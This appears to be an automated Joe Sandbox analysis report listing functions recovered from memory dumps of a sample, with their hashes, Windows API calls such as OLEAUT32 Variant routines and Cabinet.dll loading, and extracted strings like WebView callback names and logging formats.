Snapshot File: hcaresult_12_2_6300000_PeFIvJrY.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 9c77898385efcf6684f0311d55232716ecfeb99ae6f7515f36adfaaf05c50d6e
Instruction ID: a896b453a06fe0ebfb0ff21b3ac230d2cb278685e6d8c9092e50e84447ae0ccf
Opcode Fuzzy Hash: 9c77898385efcf6684f0311d55232716ecfeb99ae6f7515f36adfaaf05c50d6e
Instruction Fuzzy Hash: 77A1A232E00219CFDF59DFB4C850ADEB7B2FF88300B15416AE915AB265DB31E959CB90

Function 00418150 Relevance: .2, Instructions: 168COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000C.00000002.3832775154.00000000003E1000.00000040.00000001.01000000.00000004.sdmp, Offset: 003E0000, based on PE: true

Associated: 0000000C.00000002.3832723726.00000000003E0000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.3832775154.000000000045C000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.3832775154.0000000000466000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.3835486938.0000000000467000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.3835535745.0000000000468000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.3835535745.0000000000481000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.3835535745.000000000048A000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.3835687294.000000000048F000.00000004.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_3e0000_PeFIvJrY.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 5cd17d35d063025fee93bdc2b3cec45270f634cba21f955d7a87546b98de82ab
Instruction ID: 923497440c90c77f1fda99b905b6a301c334bb4dcece4e915174540f2bd3e9fc
Opcode Fuzzy Hash: 5cd17d35d063025fee93bdc2b3cec45270f634cba21f955d7a87546b98de82ab
Instruction Fuzzy Hash: 34516436E006199BCB15CEA9C4806EFF7B1BF99310F1483ABD855A7345DB38ACC18B94

Function 06325D0F Relevance: .1, Instructions: 127COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000C.00000002.3849710870.0000000006320000.00000040.00000800.00020000.00000000.sdmp, Offset: 06320000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_6320000_PeFIvJrY.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 1b9d18c64b5ced81f48a37d20f8c2b6d349d9f4b52c122071389d820f4c52bb5
Instruction ID: 64fe59029e1cf3b3cff5ff3298a445e1d810181f93f4cd731a6be316aa00d423
Opcode Fuzzy Hash: 1b9d18c64b5ced81f48a37d20f8c2b6d349d9f4b52c122071389d820f4c52bb5
Instruction Fuzzy Hash: 4541382204DBD6BECBBA8F3498A58F3FFF9AD97310369A9DDE4C145403C2115586E7A0

Function 06325D89 Relevance: .1, Instructions: 95COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000C.00000002.3849710870.0000000006320000.00000040.00000800.00020000.00000000.sdmp, Offset: 06320000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_6320000_PeFIvJrY.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 2c9f52e69266f64921673b8a5f076f082824a15793def8002bf476e99a4e871d
Instruction ID: 093890b326f9fae75277af9ef7981d7158148261b5854e37fc1febef2c921481
Opcode Fuzzy Hash: 2c9f52e69266f64921673b8a5f076f082824a15793def8002bf476e99a4e871d
Instruction Fuzzy Hash: E821252204DBCABECB7A8F3498E58E3FFF9AD57310369A9CDE4C085403C2115586E7A0

Function 06325D6D Relevance: .1, Instructions: 73COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000C.00000002.3849710870.0000000006320000.00000040.00000800.00020000.00000000.sdmp, Offset: 06320000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_6320000_PeFIvJrY.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e94e638ba1e09ebc6a1eecacf924f416c9b8850e26d1800b3f6b181a54c76f73
Instruction ID: a5c4ed469d2ecbe53236111add732e99d9428c8c7847dd60ba94347b65bb8fdb
Opcode Fuzzy Hash: e94e638ba1e09ebc6a1eecacf924f416c9b8850e26d1800b3f6b181a54c76f73
Instruction Fuzzy Hash: ED11F52604E6C97DCB769F7498A48E3FFFAAD9B310369A9CDE5C085003C5124547E7A4

Function 00431882 Relevance: .0, Instructions: 29COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000C.00000002.3832775154.00000000003E1000.00000040.00000001.01000000.00000004.sdmp, Offset: 003E0000, based on PE: true

Associated: 0000000C.00000002.3832723726.00000000003E0000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.3832775154.000000000045C000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.3832775154.0000000000466000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.3835486938.0000000000467000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.3835535745.0000000000468000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.3835535745.0000000000481000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.3835535745.000000000048A000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.3835687294.000000000048F000.00000004.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_3e0000_PeFIvJrY.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: cb661421d0cbc1a6a407777b4be298e4ad0a098c8258ed1f8fd04651957c7f4e
Instruction ID: d482dc5c5f4f5d9b530fd9f34f1641b322c892690f095ec24d58e192bba5419a
Opcode Fuzzy Hash: cb661421d0cbc1a6a407777b4be298e4ad0a098c8258ed1f8fd04651957c7f4e
Instruction Fuzzy Hash: A3F03032A11224EFDF1AD748D805E5973ACEB4AB65F115467E501D7260D3B4DD00C7C8

Function 004318C6 Relevance: .0, Instructions: 22COMMONLIBRARYCODE

Download Yara Rule

Memory Dump Source

Source File: 0000000C.00000002.3832775154.00000000003E1000.00000040.00000001.01000000.00000004.sdmp, Offset: 003E0000, based on PE: true

Associated: 0000000C.00000002.3832723726.00000000003E0000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.3832775154.000000000045C000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.3832775154.0000000000466000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.3835486938.0000000000467000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.3835535745.0000000000468000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.3835535745.0000000000481000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.3835535745.000000000048A000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.3835687294.000000000048F000.00000004.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_3e0000_PeFIvJrY.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 5c4ba01c3ca842f244c402fef3ad5bf9d7a9ccc66e175a0f83c61bafc6002d44
Instruction ID: 5c6917b0a1fa0f81874c5a7412129e4f460f181200b9693932849925fc2960c5
Opcode Fuzzy Hash: 5c4ba01c3ca842f244c402fef3ad5bf9d7a9ccc66e175a0f83c61bafc6002d44
Instruction Fuzzy Hash: 48E04672911238EBCB18EB89D944D8AB2ACEB49B44F11409AB501D3220C274DE00CBD8

Function 0042EC45 Relevance: .0, Instructions: 12COMMONLIBRARYCODE

Download Yara Rule

Memory Dump Source

Source File: 0000000C.00000002.3832775154.00000000003E1000.00000040.00000001.01000000.00000004.sdmp, Offset: 003E0000, based on PE: true

Associated: 0000000C.00000002.3832723726.00000000003E0000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.3832775154.000000000045C000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.3832775154.0000000000466000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.3835486938.0000000000467000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.3835535745.0000000000468000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.3835535745.0000000000481000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.3835535745.000000000048A000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.3835687294.000000000048F000.00000004.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_3e0000_PeFIvJrY.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 525fefa8eedbc72395681fd105259806d3d12c30c224c9c87795d928887dac08
Instruction ID: 778f82091a5d50db6e37ed98564b31aa7a95b53374400757ddc1faeb9885942e
Opcode Fuzzy Hash: 525fefa8eedbc72395681fd105259806d3d12c30c224c9c87795d928887dac08
Instruction Fuzzy Hash: E1C08C34200A90C6CE29DA1292B53A73394B3D1B82FD0148EC4020B782C52E9C86D60A

Function 003F3E60 Relevance: 32.0, APIs: 17, Strings: 1, Instructions: 470COMMON

Download Yara Rule

APIs

VariantInit.OLEAUT32(?), ref: 003F3E9F
VariantClear.OLEAUT32(?), ref: 003F3EE8
VariantClear.OLEAUT32(?), ref: 003F3F21
VariantClear.OLEAUT32(?), ref: 003F3F4B
_com_issue_error.COMSUPP ref: 003F3F6D
_com_issue_error.COMSUPP ref: 003F3F73
VariantInit.OLEAUT32(?), ref: 003F3FC5
VariantInit.OLEAUT32(?), ref: 003F3FD2
VariantCopy.OLEAUT32(?,?), ref: 003F3FDC
VariantClear.OLEAUT32(?), ref: 003F402A
VariantClear.OLEAUT32(?), ref: 003F4067
VariantClear.OLEAUT32(?), ref: 003F4091
VariantClear.OLEAUT32(?), ref: 003F4097
_com_issue_error.COMSUPP ref: 003F40B9
_com_issue_error.COMSUPP ref: 003F40BF
_com_issue_error.COMSUPP ref: 003F40C5
VariantInit.OLEAUT32(?), ref: 003F4143

Strings

open, xrefs: 003F4275

Memory Dump Source

Source File: 0000000C.00000002.3832775154.00000000003E1000.00000040.00000001.01000000.00000004.sdmp, Offset: 003E0000, based on PE: true

Associated: 0000000C.00000002.3832723726.00000000003E0000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.3832775154.000000000045C000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.3832775154.0000000000466000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.3835486938.0000000000467000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.3835535745.0000000000468000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.3835535745.0000000000481000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.3835535745.000000000048A000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.3835687294.000000000048F000.00000004.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_3e0000_PeFIvJrY.jbxd

Similarity

API ID: Variant$Clear$_com_issue_error$Init$Copy
String ID: open
API String ID: 1711229386-2758837156
Opcode ID: 590c04a3c1ce09e03022edbf41a1644e8e7bcb547060205e1c0055749676a958
Instruction ID: d859e0b7b73fc69476e62faf7cf19818ec3131e3b62c95748ef7997125a54d94
Opcode Fuzzy Hash: 590c04a3c1ce09e03022edbf41a1644e8e7bcb547060205e1c0055749676a958
Instruction Fuzzy Hash: 66F11875E0025D9BDF11DFA8DC45BEEB7B4FF08314F14422AE905A7290E778AA80CB54

Function 003E2750 Relevance: 29.9, APIs: 2, Strings: 15, Instructions: 195windowthreadCOMMON

Download Yara Rule

APIs

FormatMessageW.KERNEL32(00001200,00000000,?,00000400,?,00000100,00000000,A05DD77D), ref: 003E2863
GetCurrentThreadId.KERNEL32 ref: 003E28D2

Strings

Msg:[%ws] , xrefs: 003E292B
LogNt, xrefs: 003E27FD
LogHr, xrefs: 003E27F8
, xrefs: 003E2914
%hs(%u)\%hs!%p: , xrefs: 003E2885
CallContext:[%hs] , xrefs: 003E2942
Exception, xrefs: 003E27DA
%hs(%d) tid(%x) %08X %ws, xrefs: 003E28EA
FailFast, xrefs: 003E2807
(caller: %p) , xrefs: 003E28BD
ReturnHr, xrefs: 003E27E5
%hs!%p: , xrefs: 003E289B
ReturnNt, xrefs: 003E27EA
[%hs(%hs)], xrefs: 003E295C
[%hs], xrefs: 003E2975

Memory Dump Source

Source File: 0000000C.00000002.3832775154.00000000003E1000.00000040.00000001.01000000.00000004.sdmp, Offset: 003E0000, based on PE: true

Associated: 0000000C.00000002.3832723726.00000000003E0000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.3832775154.000000000045C000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.3832775154.0000000000466000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.3835486938.0000000000467000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.3835535745.0000000000468000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.3835535745.0000000000481000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.3835535745.000000000048A000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.3835687294.000000000048F000.00000004.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_3e0000_PeFIvJrY.jbxd

Similarity

API ID: CurrentFormatMessageThread
String ID: $%hs!%p: $%hs(%d) tid(%x) %08X %ws$%hs(%u)\%hs!%p: $(caller: %p) $CallContext:[%hs] $Exception$FailFast$LogHr$LogNt$Msg:[%ws] $ReturnHr$ReturnNt$[%hs(%hs)]$[%hs]
API String ID: 2411632146-1363043106
Opcode ID: 8a4b6d94b23ed4b9677e6cf4467df126ccc037dff59b258d40f9543d199ed4ef
Instruction ID: 26f922fea85b594cfa6e56c0d506b036d983d65e83a9fc6bd09563c1afe5b54a
Opcode Fuzzy Hash: 8a4b6d94b23ed4b9677e6cf4467df126ccc037dff59b258d40f9543d199ed4ef
Instruction Fuzzy Hash: BA61E674A00395ABEB259F26CC4AF67B7ACEB44704F04465DBC05572C2E7B4AD50CB64

Function 003F082D Relevance: 22.9, APIs: 8, Strings: 5, Instructions: 162COMMON

Download Yara Rule

Strings

OnAppAbortWebView, xrefs: 003F09BA
OnAppInitWebView, xrefs: 003F0948
OnBrowserInitWebView, xrefs: 003F0950
OnAppErrorWebView, xrefs: 003F09EB
OnAppShutdownWebView, xrefs: 003F0989

Memory Dump Source

Source File: 0000000C.00000002.3832775154.00000000003E1000.00000040.00000001.01000000.00000004.sdmp, Offset: 003E0000, based on PE: true

Associated: 0000000C.00000002.3832723726.00000000003E0000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.3832775154.000000000045C000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.3832775154.0000000000466000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.3835486938.0000000000467000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.3835535745.0000000000468000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.3835535745.0000000000481000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.3835535745.000000000048A000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.3835687294.000000000048F000.00000004.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_3e0000_PeFIvJrY.jbxd

Similarity

API ID:
String ID: OnAppAbortWebView$OnAppErrorWebView$OnAppInitWebView$OnAppShutdownWebView$OnBrowserInitWebView
API String ID: 0-3757888159
Opcode ID: a3e34720728941d211d0f8c47a6e42f1776a57b43197121a4f98d57c39dcda5f
Instruction ID: 3fa822e2d748ff5f748b9e653d2cf066b4bb6d87b5574dbfe72a5660cac22ff6
Opcode Fuzzy Hash: a3e34720728941d211d0f8c47a6e42f1776a57b43197121a4f98d57c39dcda5f
Instruction Fuzzy Hash: CA5125B1A4431DABFB36EB68DC05B797764AF00304F15046AE744A61A3FBF58D808B99

Function 004217D0 Relevance: 21.2, APIs: 7, Strings: 5, Instructions: 205libraryloaderCOMMON

Download Yara Rule

APIs

GetProcAddress.KERNEL32(?,FDICreate), ref: 00421865
GetProcAddress.KERNEL32(?,FDICopy), ref: 004218A8
GetProcAddress.KERNEL32(?,FDIDestroy), ref: 004218EB
FreeLibrary.KERNEL32(00000000), ref: 00421946
GetLastError.KERNEL32 ref: 004219B6
GetLastError.KERNEL32 ref: 004219D8
GetLastError.KERNEL32 ref: 004219FA

Strings

FDICopy, xrefs: 0042189C, 00421A42
Cabinet.dll, xrefs: 00421810
FDIDestroy, xrefs: 004218DF, 00421A2A
@, xrefs: 004217DD
FDICreate, xrefs: 00421852, 00421977

Memory Dump Source

Source File: 0000000C.00000002.3832775154.00000000003E1000.00000040.00000001.01000000.00000004.sdmp, Offset: 003E0000, based on PE: true

Associated: 0000000C.00000002.3832723726.00000000003E0000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.3832775154.000000000045C000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.3832775154.0000000000466000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.3835486938.0000000000467000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.3835535745.0000000000468000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.3835535745.0000000000481000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.3835535745.000000000048A000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.3835687294.000000000048F000.00000004.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_3e0000_PeFIvJrY.jbxd

Similarity

API ID: AddressErrorLastProc$FreeLibrary
String ID: @$Cabinet.dll$FDICopy$FDICreate$FDIDestroy
API String ID: 329358263-233332848
Opcode ID: 8daff8759ef4c95e3d55ff2d2a01b9ec1c3cc6e393138a95d1c58458916fe2cf
Instruction ID: 7e04152c9aa67c5f3eb6a6bd4a1fce0fbeacfd2a0f89da8d9ddd5f815b82455f
Opcode Fuzzy Hash: 8daff8759ef4c95e3d55ff2d2a01b9ec1c3cc6e393138a95d1c58458916fe2cf
Instruction Fuzzy Hash: 5D61E174E012289FCB00DFA8E9557AE7BB4EB19700F10412FE912A73A1DF785905CBAD

Function 00425C3D Relevance: 21.1, APIs: 8, Strings: 4, Instructions: 51libraryloaderCOMMON

Download Yara Rule

APIs

InitializeCriticalSectionAndSpinCount.KERNEL32(00464694,00000FA0,?,?,00425C1B), ref: 00425C49
GetModuleHandleW.KERNEL32(api-ms-win-core-synch-l1-2-0.dll,?,?,00425C1B), ref: 00425C54
GetModuleHandleW.KERNEL32(kernel32.dll,?,?,00425C1B), ref: 00425C65
GetProcAddress.KERNEL32(00000000,SleepConditionVariableCS), ref: 00425C77
GetProcAddress.KERNEL32(00000000,WakeAllConditionVariable), ref: 00425C85
CreateEventW.KERNEL32(00000000,00000001,00000000,00000000,?,?,00425C1B), ref: 00425CA8
RtlDeleteCriticalSection.NTDLL(00464694), ref: 00425CC4
CloseHandle.KERNEL32(00000000,?,?,00425C1B), ref: 00425CD4

Strings

WakeAllConditionVariable, xrefs: 00425C7D
api-ms-win-core-synch-l1-2-0.dll, xrefs: 00425C4F
kernel32.dll, xrefs: 00425C60
SleepConditionVariableCS, xrefs: 00425C71

Memory Dump Source

Source File: 0000000C.00000002.3832775154.00000000003E1000.00000040.00000001.01000000.00000004.sdmp, Offset: 003E0000, based on PE: true

Associated: 0000000C.00000002.3832723726.00000000003E0000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.3832775154.000000000045C000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.3832775154.0000000000466000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.3835486938.0000000000467000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.3835535745.0000000000468000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.3835535745.0000000000481000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.3835535745.000000000048A000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.3835687294.000000000048F000.00000004.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_3e0000_PeFIvJrY.jbxd

Similarity

API ID: Handle$AddressCriticalModuleProcSection$CloseCountCreateDeleteEventInitializeSpin
String ID: SleepConditionVariableCS$WakeAllConditionVariable$api-ms-win-core-synch-l1-2-0.dll$kernel32.dll
API String ID: 2565136772-3242537097
Opcode ID: 97edf29053753ac0aa98588afc30e1b02580f1683a61015aed69a14c21fd3ec4
Instruction ID: 960df86cd94121aa738e23019e7eb226d932e50b98b6e8e23a4d624778daefac
Opcode Fuzzy Hash: 97edf29053753ac0aa98588afc30e1b02580f1683a61015aed69a14c21fd3ec4
Instruction Fuzzy Hash: 790179797417116BEB205F75FD09B5B3A98AB83701B140432FD09D2350FBBCC8508A5D

Function 003F30D0 Relevance: 18.2, APIs: 12, Instructions: 164COMMON

Download Yara Rule

APIs

VariantInit.OLEAUT32(?), ref: 003F3120
VariantInit.OLEAUT32(?), ref: 003F313E
VariantCopy.OLEAUT32(?,?), ref: 003F3148
VariantInit.OLEAUT32(?), ref: 003F315E
VariantCopy.OLEAUT32(?,?), ref: 003F3168
VariantClear.OLEAUT32(?), ref: 003F31D6
VariantClear.OLEAUT32(?), ref: 003F31DC
VariantClear.OLEAUT32(?), ref: 003F31E2

Part of subcall function 003EEEB0: VariantInit.OLEAUT32(?), ref: 003EEEEA
Part of subcall function 003EEEB0: VariantChangeType.OLEAUT32(00000000,?,00000000,00000003), ref: 003EEF12
Part of subcall function 003EEEB0: VariantClear.OLEAUT32(00000000), ref: 003EEF23
Part of subcall function 003EEEB0: _com_issue_error.COMSUPP ref: 003EEF46

_com_issue_error.COMSUPP ref: 003F3204
_com_issue_error.COMSUPP ref: 003F320A
VariantInit.OLEAUT32(A05DD77D), ref: 003F3244
VariantClear.OLEAUT32(?), ref: 003F3297

Memory Dump Source

Source File: 0000000C.00000002.3832775154.00000000003E1000.00000040.00000001.01000000.00000004.sdmp, Offset: 003E0000, based on PE: true

Associated: 0000000C.00000002.3832723726.00000000003E0000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.3832775154.000000000045C000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.3832775154.0000000000466000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.3835486938.0000000000467000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.3835535745.0000000000468000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.3835535745.0000000000481000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.3835535745.000000000048A000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.3835687294.000000000048F000.00000004.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_3e0000_PeFIvJrY.jbxd

Similarity

API ID: Variant$ClearInit$_com_issue_error$Copy$ChangeType
String ID:
API String ID: 3635750008-0
Opcode ID: 7c88cb93736e9b3f27ba3a6ee7f9b23163d321b3628f702a965cc39b10bbd74a
Instruction ID: 7b09e7d5885c32cb05e23736e530b296179c5cb4fc949075ae7bf8aa6ecf2570
Opcode Fuzzy Hash: 7c88cb93736e9b3f27ba3a6ee7f9b23163d321b3628f702a965cc39b10bbd74a
Instruction Fuzzy Hash: 75514775D0025DEBCB01DFA8CD45AEEBBB8FF49314F10462AE915B7250EB34AA44CB90

Function 003F3960 Relevance: 18.2, APIs: 12, Instructions: 164COMMON

Download Yara Rule

APIs

VariantInit.OLEAUT32(?), ref: 003F39B0
VariantInit.OLEAUT32(?), ref: 003F39CE
VariantCopy.OLEAUT32(?,?), ref: 003F39D8
VariantInit.OLEAUT32(?), ref: 003F39EE
VariantCopy.OLEAUT32(?,?), ref: 003F39F8
VariantClear.OLEAUT32(?), ref: 003F3A66
VariantClear.OLEAUT32(?), ref: 003F3A6C
VariantClear.OLEAUT32(?), ref: 003F3A72

Part of subcall function 003EEF50: VariantInit.OLEAUT32(?), ref: 003EEF8A
Part of subcall function 003EEF50: VariantChangeType.OLEAUT32(00000000,?,00000000,00000016), ref: 003EEFB2
Part of subcall function 003EEF50: VariantClear.OLEAUT32(00000000), ref: 003EEFC3
Part of subcall function 003EEF50: _com_issue_error.COMSUPP ref: 003EEFE6
Part of subcall function 003EEF50: VariantClear.OLEAUT32 ref: 003EEFF1

_com_issue_error.COMSUPP ref: 003F3A94
_com_issue_error.COMSUPP ref: 003F3A9A
VariantInit.OLEAUT32(A05DD77D), ref: 003F3AD4
VariantClear.OLEAUT32(?), ref: 003F3B20

Memory Dump Source

Source File: 0000000C.00000002.3832775154.00000000003E1000.00000040.00000001.01000000.00000004.sdmp, Offset: 003E0000, based on PE: true

Associated: 0000000C.00000002.3832723726.00000000003E0000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.3832775154.000000000045C000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.3832775154.0000000000466000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.3835486938.0000000000467000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.3835535745.0000000000468000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.3835535745.0000000000481000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.3835535745.000000000048A000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.3835687294.000000000048F000.00000004.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_3e0000_PeFIvJrY.jbxd

Similarity

API ID: Variant$Clear$Init$_com_issue_error$Copy$ChangeType
String ID:
API String ID: 3696672285-0
Opcode ID: 7f0117877a2eba61b92153fd04024803f8c1be6e9c17f7b4ba624fd7270eb593
Instruction ID: 3f2395a5bea0854c095103d0c6f26716947303cbfba0d8e7043578a81aa486f9
Opcode Fuzzy Hash: 7f0117877a2eba61b92153fd04024803f8c1be6e9c17f7b4ba624fd7270eb593
Instruction Fuzzy Hash: 4F512375D0025DDBCF01DFA9CC45AEEBBB8FF48314F10462AE915A7250EB34AA44CBA4

Function 0040D740 Relevance: 16.2, APIs: 2, Strings: 7, Instructions: 439threadCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 0040D81C
SysFreeString.OLEAUT32(?), ref: 0040DB76

Part of subcall function 003F52D0: GetCurrentThreadId.KERNEL32 ref: 003F52D9

Part of subcall function 0040DF40: QueryUnbiasedInterruptTime.KERNEL32(?,A05DD77D,?,00000000,?,0043D290,000000FF,?,0040DE6F,?), ref: 0040DEBC
Part of subcall function 0040DF40: __ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 0040DEEF

Strings

C:\jenkins\workspace\sumer_Cardinal_aviary-sdk_master\src\trust\lib\trust_impl.cpp, xrefs: 0040DD08, 0040DDB6
failed to update cache, xrefs: 0040DD60
trust, xrefs: 0040D7AE
failed to create controller -- not caching, xrefs: 0040DCC0
failed to initialize COM, xrefs: 0040DC54
update_cache, xrefs: 0040D7A3
trust, xrefs: 0040DCE4, 0040DD8F

Memory Dump Source

Source File: 0000000C.00000002.3832775154.00000000003E1000.00000040.00000001.01000000.00000004.sdmp, Offset: 003E0000, based on PE: true

Associated: 0000000C.00000002.3832723726.00000000003E0000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.3832775154.000000000045C000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.3832775154.0000000000466000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.3835486938.0000000000467000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.3835535745.0000000000468000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.3835535745.0000000000481000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.3835535745.000000000048A000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.3835687294.000000000048F000.00000004.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_3e0000_PeFIvJrY.jbxd

Similarity

API ID: CurrentThread$FreeInterruptQueryStringTimeUnbiasedUnothrow_t@std@@@__ehfuncinfo$??2@
